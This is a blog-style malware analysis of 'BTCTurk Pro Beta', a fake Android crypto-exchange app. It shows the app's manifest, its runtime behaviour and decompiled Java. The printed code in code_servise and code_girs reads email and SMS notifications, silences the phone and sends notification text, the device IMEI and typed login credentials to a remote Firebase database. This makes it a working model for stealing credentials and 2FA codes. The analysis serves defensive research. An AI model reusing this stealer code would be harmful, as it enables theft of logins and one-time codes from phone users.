MalwareAnalysisFeatureImage

Android Malware Analysis – BTCTurk Pro Beta

Posted by

I came across BTCTurk Pro Beta malware while reading a blog and my good friend, Libra provided its sample. Unlike my encounter with DroidDream, BTCTurk was a malware from 2019 and more exciting! In this article, I’ve described my analysis of the BTCTurk Pro Beta malware.

Identifying the APK

An APK file is basically a compressed file format. The hex values at offset 0 and 1 are always 50 and 4B respectively. Depending on the archive, the hex values at offset 2 and 3 may have different values – 03 and 04, 05 and 06 (empty archive) or 07 and 08 (spanned archive) respectively. In this case, the malware sample had the file signature 50 4B 03 04.

Application Metadata

Every legit Android application has an AndroidManifest.xml file which provides essential information to Android build tools, Android OS and Google Play Store. If it isn’t present in the .apk file, the Android OS may not be able to locate all Activities and Services of the application or the Play Store may allow users to download the application to an incompatible device. I imported the malicious .apk file into Android Studio to view the contents of AndroidManifest.xml.

<?xml version="1.0" encoding="utf-8"?>
<manifest
    xmlns:android="http://schemas.android.com/apk/res/android"
    android:versionCode="1"
    android:versionName="BTCTurk Pro Beta V0.1"
    android:compileSdkVersion="28"
    android:compileSdkVersionCodename="9"
    package="btcturk.pro.beta"
    platformBuildVersionCode="28"
    platformBuildVersionName="9">

    <uses-sdk
        android:minSdkVersion="19"
        android:targetSdkVersion="28" />

    <uses-permission
        android:name="android.permission.ACCESS_NETWORK_STATE" />
    <uses-permission
        android:name="android.permission.INTERNET" />
    <uses-permission
        android:name="android.permission.READ_PHONE_STATE" />
    <uses-permission
        android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
    <uses-permission
        android:name="android.permission.WAKE_LOCK" />
    <uses-permission
        android:name="com.google.android.finsky.permission.BIND_GET_INSTALL_REFERRER_SERVICE" />
    <uses-permission
        android:name="com.google.android.c2dm.permission.RECEIVE" />
    <permission
        android:name="btcturk.pro.beta.permission.C2D_MESSAGE"
        android:protectionLevel="0x2" />
    <uses-permission
        android:name="btcturk.pro.beta.permission.C2D_MESSAGE" />

    <application
        android:theme="@ref/0x7f0e0005"
        android:label="@ref/0x7f0d0028"
        android:icon="@ref/0x7f0c0000"
        android:allowBackup="true"
        android:appComponentFactory="android.support.v4.app.CoreComponentFactory">

        <activity
            android:name="android.tbtdemo.code_acilis">
            <intent-filter>
                <action
                    android:name="android.intent.action.MAIN" />
                <category
                    android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>

        <service
            android:label="@ref/0x7f0d0028"
            android:name="android.tbtdemo.code_servise"
            android:permission="android.permission.BIND_NOTIFICATION_LISTENER_SERVICE"
            android:exported="true"
            android:priority="1000">
            <intent-filter>
                <action
                    android:name="android.service.notification.NotificationListenerService" />
            </intent-filter>
        </service>

        <activity
            android:name="android.tbtdemo.code_girs">
            <intent-filter>
                <action
                    android:name="android.intent.action.MAIN" />
                <category
                    android:name="android.intent.category.DEFAULT" />
            </intent-filter>
        </activity>

        <activity
            android:name="android.tbtdemo.code_inform">
            <intent-filter>
                <action
                    android:name="android.intent.action.MAIN" />
                <category
                    android:name="android.intent.category.DEFAULT" />
            </intent-filter>
        </activity>

        <activity
            android:name="android.tbtdemo.cod_sozlesme">
            <intent-filter>
                <action
                    android:name="android.intent.action.MAIN" />
                <category
                    android:name="android.intent.category.DEFAULT" />
            </intent-filter>
        </activity>

        <activity
            android:name="android.tbtdemo.code_maiin">
            <intent-filter>
                <action
                    android:name="android.intent.action.MAIN" />
                <category
                    android:name="android.intent.category.DEFAULT" />
            </intent-filter>
        </activity>

        <meta-data
            android:name="preloaded_fonts"
            android:resource="@ref/0x7f020003" />

        <activity
            android:theme="@ref/0x0103000f"
            android:name="com.google.android.gms.ads.AdActivity"
            android:configChanges="0xfb0" />

        <activity
            android:theme="@ref/0x7f0e010e"
            android:name="com.google.android.gms.ads.purchase.InAppPurchaseActivity" />

        <service
            android:name="com.google.firebase.components.ComponentDiscoveryService">
            <meta-data
               android:name="com.google.firebase.components:com.google.firebase.analytics.connector.internal.AnalyticsConnectorRegistrar"
                android:value="com.google.firebase.components.ComponentRegistrar" />
            <meta-data
                android:name="com.google.firebase.components:com.google.firebase.iid.Registrar"
                android:value="com.google.firebase.components.ComponentRegistrar" />
        </service>

        <receiver
            android:name="com.google.android.gms.measurement.AppMeasurementReceiver"
            android:enabled="true"
            android:exported="false" />

        <receiver
            android:name="com.google.android.gms.measurement.AppMeasurementInstallReferrerReceiver"
            android:permission="android.permission.INSTALL_PACKAGES"
            android:enabled="true"
            android:exported="true">
            <intent-filter>
                <action
                    android:name="com.android.vending.INSTALL_REFERRER" />
            </intent-filter>
        </receiver>

        <service
            android:name="com.google.android.gms.measurement.AppMeasurementService"
            android:enabled="true"
            android:exported="false" />

        <service
            android:name="com.google.android.gms.measurement.AppMeasurementJobService"
            android:permission="android.permission.BIND_JOB_SERVICE"
            android:enabled="true"
            android:exported="false" />

        <receiver
            android:name="com.google.firebase.iid.FirebaseInstanceIdReceiver"
            android:permission="com.google.android.c2dm.permission.SEND"
            android:exported="true">
            <intent-filter>
                <action
                    android:name="com.google.android.c2dm.intent.RECEIVE" />
                <category
                    android:name="btcturk.pro.beta" />
            </intent-filter>
        </receiver>

        <service
            android:name="com.google.firebase.iid.FirebaseInstanceIdService"
            android:exported="true">
            <intent-filter
                android:priority="-500">
                <action
                    android:name="com.google.firebase.INSTANCE_ID_EVENT" />
            </intent-filter>
        </service>

        <activity
            android:theme="@ref/0x01030010"
            android:name="com.google.android.gms.common.api.GoogleApiActivity"
            android:exported="false" />

        <provider
            android:name="com.google.firebase.provider.FirebaseInitProvider"
            android:exported="false"
            android:authorities="btcturk.pro.beta.firebaseinitprovider"
            android:initOrder="100" />

        <meta-data
            android:name="com.google.android.gms.version"
            android:value="@ref/0x7f0a0004" />

        <meta-data
            android:name="android.support.VERSION"
            android:value="26.1.0" />

        <meta-data
            android:name="com.android.vending.derived.apk.id"
            android:value="1" />
    </application>
</manifest>

High-Level Manifest Analysis

The application, BTCTurk Pro Beta V0.1 is targeted towards Android Pie (SDK 28), requires atleast KitKat (SDK 19) and leverages Google Firebase. Google Firebase provides many services such as analytics, cloud messaging, realtime database, etc. It asks for permissions to:

  • access network information through ACCESS_NETWORK_STATE
  • open sockets through INTERNET
  • read phone state (cellular network, phone number, etc.) through READ_PHONE_STATE
  • start on boot by receiving an intent when the device boots up through RECEIVE_BOOT_COMPLETED
  • prevent the processor from sleeping through WAKE_LOCK
  • allow other applications to tell if their installation was launched from an ad in BTCTurk through BIND_GET_INSTALL_REFERRER_SERVICE
  • receive data from the Cloud only to BTCTurk through RECEIVE and C2D_MESSAGE

The NotificationListenerService class can be extended because the app asks for BIND_NOTIFICATION_LISTENER_SERVICE permission. It receives signals from Android when new notifications are posted or removed through the NotificationListenerService. All these information suggest that BTCTurk can communicate on the network, interact with notifications on the status bar, auto-start on boot and include in-app ads.

Dynamic Analysis

Pre-Analysis

I imported the .apk file into Android Studio as a project.

To run the application, I needed an Android emulator and SDK image that the application is compatible with.

Setting up the SDK Image

BTCTurk targets SDK 28, so I installed Android 9.0 (Pie) SDK through the SDK Manager.

Setting up the Emulator

I set up a new hardware profile through the AVD Manager on Android Studio.

I downloaded the Android 9.0 (Pie) system image that would be installed on the emulator.

The emulator is ready to be started!

Installing the APK

Once the emulator was up and running, I dragged and dropped the .apk file from Android Studio into the emulator screen. The installation took about a minute to complete.

Analysis

On opening the application, the following components are displayed (Turkish language):

  • Price of BTC (in US Dollars)
  • Üye Girişi (Member Login) button
  • Gizlilik Politikası (Privacy Policy) button

On clicking the Member Login button, the application redirects the user to Notification Access settings screen where the user is expected to allow BTCTurk access to Notifications.

After Notifications access is given, when the Member Login button is clicked again BTCTurk also asks for READ_PHONE_STATE permission. This allows BTCTurk to read phone status and identity like IMEI, etc.

After the above access is provided, on clicking the Member Login button a login screen is displayed which asks for member email address and password.

Once the credentials are provided and user clicks on the login button, an error message is displayed:

Due to the change made in SMS Verification system, we cannot provide a temporary service from our mobile application. After the maintenance work, you will be notified via the application. Thank you for your understanding.

Network Activity

When the application is launched, it connects to api[.]coindesk[.]com via TLS in an encrypted session, presumably to fetch the Bitcoin price.

When credentials are submitted to the application from the Member Login screen, it connects to a Firebase Realtime Database, projbeyssc[.]firebaseio[.]com and communicates via TLS in an encrypted session. The transmitted information is likely user credentials since the application has to authenticate the user.

Preparing for Code Analysis

Extracting Java Source Code

As I mentioned before, .apk file is a compressed file format. The classes.dex file, inside the .apk, contains bytecode that is executed by Android’s Dalvik Virtual Machine (DVM). Java’s .class files are compiled to .dex using the dex compiler and this can be reversed, i.e., Java .class files can be obtained from .dex files by using tools such as d2j-dex2jar and a .jar decompiler such as JD-GUI.

Activity Lifecycle

In an Android application, every screen is an Activity. It is the job of an Activity to display a functional UI. Multiple Activities are arranged in the form of a stack, with the latest Activity being on the top of the stack. This implies that two Activities cannot run at the same time. As long as an Activity is in memory, it’ll follow the Activity Lifecycle and each method in the Lifecycle is called on encountering an event.

  • When an activity is first opened, onCreate() and onStart() functions are called.
  • When an activity is backgrounded, onPause() and onStop() functions are called.
  • When an activity is foregrounded, onRestart(), onStart() and onResume() functions are called.
  • When an activity is closed or killed, onPause(), onStop() and onDestroy() functions are called.

Code Analysis

code_servise.class

code_servise.class inherits NotificationListenerService. The code in this class is relevant when a notification is posted to the status bar. onNotificationPosted() function is the main point of interest.

package android.tbtdemo;

import android.annotation.SuppressLint;
import android.app.Notification;
import android.content.Context;
import android.content.Intent;
import android.media.AudioManager;
import android.os.Bundle;
import android.os.IBinder;
import android.os.StrictMode;
import android.os.StrictMode.ThreadPolicy.Builder;
import android.service.notification.NotificationListenerService;
import android.service.notification.StatusBarNotification;
import android.telephony.TelephonyManager;
import android.text.TextUtils;
import com.google.firebase.database.DatabaseReference;
import com.google.firebase.database.FirebaseDatabase;
import java.text.DateFormat;
import java.text.SimpleDateFormat;
import java.util.Calendar;

public class code_servise
  extends NotificationListenerService
{
    Context context;
  
    public IBinder onBind(Intent paramIntent)
    {
        return super.onBind(paramIntent);
    }
  
    public void onCreate()
    {
        super.onCreate();
        this.context = getApplicationContext();
    }
  
    @SuppressLint({"HardwareIds", "MissingPermission"})
    public void onNotificationPosted(StatusBarNotification paramStatusBarNotification)
    {
        StrictMode.setThreadPolicy(new StrictMode.ThreadPolicy.Builder().permitAll().build());
        String str1 = paramStatusBarNotification.getPackageName();
        Object localObject1 = paramStatusBarNotification.getNotification().tickerText;
        String str2 = "";
        if (localObject1 != null) {
            localObject1 = paramStatusBarNotification.getNotification().tickerText.toString();
        } else {
            localObject1 = "";
        }
        Object localObject2 = paramStatusBarNotification.getNotification().extras;
        String str3 = ((Bundle)localObject2).getString("android.title");
        ((Bundle)localObject2).getInt("android.icon");
        paramStatusBarNotification = paramStatusBarNotification.getNotification().largeIcon;
        Object localObject3 = ((Bundle)localObject2).getCharSequenceArray("android.textLines");
        Object localObject4;
        if ((localObject3 != null) && (localObject3.length > 0))
        {
            paramStatusBarNotification = new StringBuilder();
            i = localObject3.length;
            for (j = 0; j < i; j++)
            {
                localObject4 = localObject3[j];
                if (!TextUtils.isEmpty((CharSequence)localObject4))
                {
                    paramStatusBarNotification.append(((CharSequence)localObject4).toString());
                    paramStatusBarNotification.append('\n');
                }
            }
            paramStatusBarNotification = paramStatusBarNotification.toString().trim();
        }
        else
        {
            paramStatusBarNotification = "";
        }
        localObject2 = ((Bundle)localObject2).getCharSequence("android.bigText");
        if (!TextUtils.isEmpty((CharSequence)localObject2)) {
            str2 = ((CharSequence)localObject2).toString();
        }
        int i = str1.indexOf("gm");
        int k = str1.indexOf("yandex");
        int j = str1.indexOf("mail");
        int m = str1.indexOf("k9");
        int n = str1.indexOf("outlook");
        if ((i != -1) || (k != -1) || (j != -1) || (m != -1) || (n != -1))
        {
            ((AudioManager)getSystemService("audio")).setRingerMode(0);
            localObject4 = (TelephonyManager)getSystemService("phone");
            localObject2 = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss").format(Calendar.getInstance().getTime());
            localObject4 = ((TelephonyManager)localObject4).getDeviceId();
            localObject3 = FirebaseDatabase.getInstance().getReference().child((String)localObject4).child("Mail");
            localObject4 = new code_insert_model();
            ((code_insert_model)localObject4).setTinker1((String)localObject2);
            ((code_insert_model)localObject4).setTinker2(str1);
            ((code_insert_model)localObject4).setTinker3(str3);
            ((code_insert_model)localObject4).setTinker4((String)localObject1);
            ((code_insert_model)localObject4).setTinker5(paramStatusBarNotification);
            ((code_insert_model)localObject4).setTinker6(str2);
            ((code_insert_model)localObject4).setTinker7(" ");
            ((DatabaseReference)localObject3).push().setValue(localObject4);
            cancelAllNotifications();
        }
        j = str1.indexOf("sms");
        i = str1.indexOf("messaging");
        if ((j != -1) || (i != -1))
        {
            ((AudioManager)getSystemService("audio")).setRingerMode(0);
            localObject4 = (TelephonyManager)getSystemService("phone");
            localObject2 = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss").format(Calendar.getInstance().getTime());
            localObject4 = ((TelephonyManager)localObject4).getDeviceId();
            localObject3 = FirebaseDatabase.getInstance().getReference().child((String)localObject4).child("SMS");
            localObject4 = new code_insert_model();
            ((code_insert_model)localObject4).setTinker1((String)localObject2);
            ((code_insert_model)localObject4).setTinker2(str1);
            ((code_insert_model)localObject4).setTinker3(str3);
            ((code_insert_model)localObject4).setTinker4((String)localObject1);
            ((code_insert_model)localObject4).setTinker5(paramStatusBarNotification);
            ((code_insert_model)localObject4).setTinker6(str2);
            ((code_insert_model)localObject4).setTinker7(" ");
            ((DatabaseReference)localObject3).push().setValue(localObject4);
            cancelAllNotifications();
        }
    }
  
    public void onNotificationRemoved(StatusBarNotification paramStatusBarNotification) {}
}

StrictMode is a developer tool that detects inefficiencies and brings them to the attention of the developer. The following statement disables StrictMode checks for the thread.

StrictMode.setThreadPolicy(new StrictMode.ThreadPolicy.Builder().permitAll().build());

It determines which application package the notification belongs to and then reads the value of the notification’s tickerText attribute. Android summarizes the notification for accessibility services and this summary is returned by tickerText attribute.

String str1 = paramStatusBarNotification.getPackageName();
Object localObject1 = paramStatusBarNotification.getNotification().tickerText;
String str2 = "";
if (localObject1 != null) {
    localObject1 = paramStatusBarNotification.getNotification().tickerText.toString();
} else {
    localObject1 = "";
}

The Notification object contains additional information about the notification event. BTCTurk determines the title, icon and additional text lines from the notification (when expanded).

Object localObject2 = paramStatusBarNotification.getNotification().extras;
String str3 = ((Bundle)localObject2).getString("android.title");
((Bundle)localObject2).getInt("android.icon");
paramStatusBarNotification = paramStatusBarNotification.getNotification().largeIcon;
Object localObject3 = ((Bundle)localObject2).getCharSequenceArray("android.textLines");

It consolidates the array of text lines from the notification into a single string.

Object localObject4;
if ((localObject3 != null) && (localObject3.length > 0))
{
    paramStatusBarNotification = new StringBuilder();
    i = localObject3.length;
    for (j = 0; j < i; j++)
    {
        localObject4 = localObject3[j];
        if (!TextUtils.isEmpty((CharSequence)localObject4))
        {
            paramStatusBarNotification.append(((CharSequence)localObject4).toString());
            paramStatusBarNotification.append('\n');
        }
    }
    paramStatusBarNotification = paramStatusBarNotification.toString().trim();
}
else
{
    paramStatusBarNotification = "";
}

It determines the text that is available from the notification when it is expanded. I’m not sure of the difference between using android.bigText and android.textLines.

localObject2 = ((Bundle)localObject2).getCharSequence("android.bigText");
if (!TextUtils.isEmpty((CharSequence)localObject2)) {
    str2 = ((CharSequence)localObject2).toString();
}

It checks if the notification is from the following applications:

  • Gmail (gm)
  • Yandex Browser (yandex)
  • Android Email App (mail)
  • K-9 Mail (k9)
  • Outlook (outlook)
int i = str1.indexOf("gm");
int k = str1.indexOf("yandex");
int j = str1.indexOf("mail");
int m = str1.indexOf("k9");
int n = str1.indexOf("outlook");

If the notification was from any of the above applications, the following actions (say, ACTIONS) are carried out:

  • Sets the phone on SILENT mode.
  • Gets the local time in "yyyy-MM-dd HH:mm:ss" format.
  • Gets the device IMEI / MEID.
  • Gets a Firebase Database reference to a "Mail" location.
  • Stores the following information:
    • Time
    • Application name of the notification
    • Title of the notification
    • Notification text (accessibility)
    • Notification text (when expanded using android.textLines)
    • Notification text (when expanded using android.bigText)
  • The above information is pushed on to the Firebase Database reference location.
  • It then dismisses all notifications from the status bar.
if ((i != -1) || (k != -1) || (j != -1) || (m != -1) || (n != -1))
{
    ((AudioManager)getSystemService("audio")).setRingerMode(0);
    localObject4 = (TelephonyManager)getSystemService("phone");
    localObject2 = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss").format(Calendar.getInstance().getTime());
    localObject4 = ((TelephonyManager)localObject4).getDeviceId();
    localObject3 = FirebaseDatabase.getInstance().getReference().child((String)localObject4).child("Mail");
    localObject4 = new code_insert_model();
    ((code_insert_model)localObject4).setTinker1((String)localObject2);
    ((code_insert_model)localObject4).setTinker2(str1);
    ((code_insert_model)localObject4).setTinker3(str3);
    ((code_insert_model)localObject4).setTinker4((String)localObject1);
    ((code_insert_model)localObject4).setTinker5(paramStatusBarNotification);
    ((code_insert_model)localObject4).setTinker6(str2);
    ((code_insert_model)localObject4).setTinker7(" ");
    ((DatabaseReference)localObject3).push().setValue(localObject4);
    cancelAllNotifications();
}

It then checks if the notification was from the following applications:

  • Android SMS (sms)
  • Messages App (messaging)
j = str1.indexOf("sms");
i = str1.indexOf("messaging");

If the notification was from any of the above applications, the same set of actions, ACTIONS as before are carried out except the Firebase Database reference points to a "SMS" location.

if ((j != -1) || (i != -1))
{
    ((AudioManager)getSystemService("audio")).setRingerMode(0);
    localObject4 = (TelephonyManager)getSystemService("phone");
    localObject2 = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss").format(Calendar.getInstance().getTime());
    localObject4 = ((TelephonyManager)localObject4).getDeviceId();
    localObject3 = FirebaseDatabase.getInstance().getReference().child((String)localObject4).child("SMS");
    localObject4 = new code_insert_model();
    ((code_insert_model)localObject4).setTinker1((String)localObject2);
    ((code_insert_model)localObject4).setTinker2(str1);
    ((code_insert_model)localObject4).setTinker3(str3);
    ((code_insert_model)localObject4).setTinker4((String)localObject1);
    ((code_insert_model)localObject4).setTinker5(paramStatusBarNotification);
    ((code_insert_model)localObject4).setTinker6(str2);
    ((code_insert_model)localObject4).setTinker7(" ");
    ((DatabaseReference)localObject3).push().setValue(localObject4);
    cancelAllNotifications();
}

code_acilis.class

Consider the below code in code_acilis.class, the MAIN/LAUNCHER Activity. This code is executed when the application is first launched.

...
private static int gosterim_suresi = 2000;
...
new Handler().postDelayed(new Runnable()
    {
      public void run()
      {
        Intent localIntent = new Intent(code_acilis.this, code_maiin.class);
        code_acilis.this.startActivity(localIntent);
        code_acilis.this.finish();
      }
    }, gosterim_suresi);
  • The code starts a new Handler which processes Runnable objects in the thread’s MessageQueue.
    • MessageQueue is a queue that has tasks called messages which should be processed.
  • The postDelayed() function causes the defined Runnable object to be added to the thread’s MessageQueue to be run every gosterim_suresi (=2000) amount of milliseconds.
    • When the defined Runnable object is processed, it creates a new thread in which the run() function executes.
  • The run() function creates an Intent to start an Activity of code_maiin.class.
  • After code_maiin.class Activity is started, code_acilis.class Activity is closed.

code_maiin.class

This class handles the display of BTC prices and two buttons. Consider the below code snippet. The code_girs.class Activity is started if the user decides to click on the Member Login button and cod_sozlesme.class Activity is started if the user decides to click on the Privacy Policy button. My point of interest is the code_girs.class.

    protected void onCreate(Bundle paramBundle)
    {
        super.onCreate(paramBundle);
        setContentView(2131427358);
        this.txt = ((TextView)findViewById(2131296424));
        this.progressDialog = new ProgressDialog(this);
        this.progressDialog.setTitle("BPI Loading");
        this.progressDialog.setMessage("Wait ...");
        load();
        this.calculate2 = ((Button)findViewById(2131296300));
        this.calculate2.setOnClickListener(new View.OnClickListener()
        {
            public void onClick(View paramAnonymousView)
            {
                paramAnonymousView = new Intent(code_maiin.this, code_girs.class);
                code_maiin.this.startActivity(paramAnonymousView);
            }
        });
        this.calculate3 = ((Button)findViewById(2131296301));
        this.calculate3.setOnClickListener(new View.OnClickListener()
        {
            public void onClick(View paramAnonymousView)
            {
                paramAnonymousView = new Intent(code_maiin.this, cod_sozlesme.class);
                code_maiin.this.startActivity(paramAnonymousView);
            }
        });
    }
...
...

code_girs.class

On creation, this Activity checks if the READ_PHONE_STATE permission was granted. If not, it asks for it.

...
...
private void requestPermissions(String paramString, int paramInt)
{
    if (ContextCompat.checkSelfPermission(this, paramString) != 0) {
        if (ActivityCompat.shouldShowRequestPermissionRationale(this, paramString)) {
            ActivityCompat.requestPermissions(this, new String[] { paramString }, paramInt);
        } else {
            ActivityCompat.requestPermissions(this, new String[] { paramString }, paramInt);
        }
    }
}

protected void onCreate(Bundle paramBundle)
{
...
...
    requestPermissions("android.permission.READ_PHONE_STATE", 0);
...
...

It then checks if notification listening was enabled for BTCTurk. If not, it starts Activity code_maiin.class and displays Notification Settings.

private boolean isNotificationServiceEnabled()
{
    String str = getPackageName();
    Object localObject = Settings.Secure.getString(getContentResolver(), "enabled_notification_listeners");
    if (!TextUtils.isEmpty((CharSequence)localObject))
    {
        String[] arrayOfString = ((String)localObject).split(":");
        for (int i = 0; i < arrayOfString.length; i++)
        {
            localObject = ComponentName.unflattenFromString(arrayOfString[i]);
            if ((localObject != null) && (TextUtils.equals(str, ((ComponentName)localObject).getPackageName()))) {
                return true;
            }
        }
    }
    return false;
}

protected void onCreate(Bundle paramBundle)
{
...
...
    if (!isNotificationServiceEnabled())
    {
        startActivity(new Intent(this, code_maiin.class));
        startActivity(new Intent("android.settings.ACTION_NOTIFICATION_LISTENER_SETTINGS"));
    }
...
...

It then retrieves the username and password from the login screen and stores them using the same set of actions, ACTIONS as before except the Firebase Database reference points to a "Log_in" location.

this.icerik = ((EditText)findViewById(2131296370));
this.icerik2 = ((EditText)findViewById(2131296372));
this.icerik3 = ((TextView)findViewById(2131296345));
this.calculate = ((Button)findViewById(2131296299));
this.calculate.setOnClickListener(new View.OnClickListener()
{
    @SuppressLint({"MissingPermission"})
    public void onClick(View paramAnonymousView)
    {
        if ((!code_girs.this.icerik.getText().toString().equals("")) && (!code_girs.this.icerik2.getText().toString().equals("")))
        {
            Object localObject = (TelephonyManager)code_girs.this.getSystemService("phone");
            paramAnonymousView = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss").format(Calendar.getInstance().getTime());
            localObject = ((TelephonyManager)localObject).getDeviceId();
            localObject = FirebaseDatabase.getInstance().getReference().child((String)localObject).child("Log_in");
            code_insert_model localcode_insert_model = new code_insert_model();
            localcode_insert_model.setTinker1(paramAnonymousView);
            localcode_insert_model.setTinker2(code_girs.this.icerik.getText().toString());
            localcode_insert_model.setTinker3(code_girs.this.icerik2.getText().toString());
            localcode_insert_model.setTinker4(" ");
            localcode_insert_model.setTinker5(" ");
            localcode_insert_model.setTinker6(" ");
            localcode_insert_model.setTinker7(" ");
            ((DatabaseReference)localObject).push().setValue(localcode_insert_model);
            ...
            ...
        }
    }
});

TL;DR

BTCTurk Pro Beta is an Android application targeted towards Android Pie users, but affects devices running Android KitKat or higher. It has the capability to read text from notifications on the status bar, steal user credentials and transmit them to a remote Firebase Realtime Database.

Summary

In this article, I described my analysis for an Android application, BTCTurk Pro Beta. With its ability to read texts from notifications, it is capable of reading 2FA codes which are generally sent in short messages. Thank you for reading! If you have any questions, leave them in the comments section below and I’ll get back to you as soon as I can!

Feature image credits: https://hackersonlineclub.com/malware-analysis/

Leave a Reply

Your email address will not be published.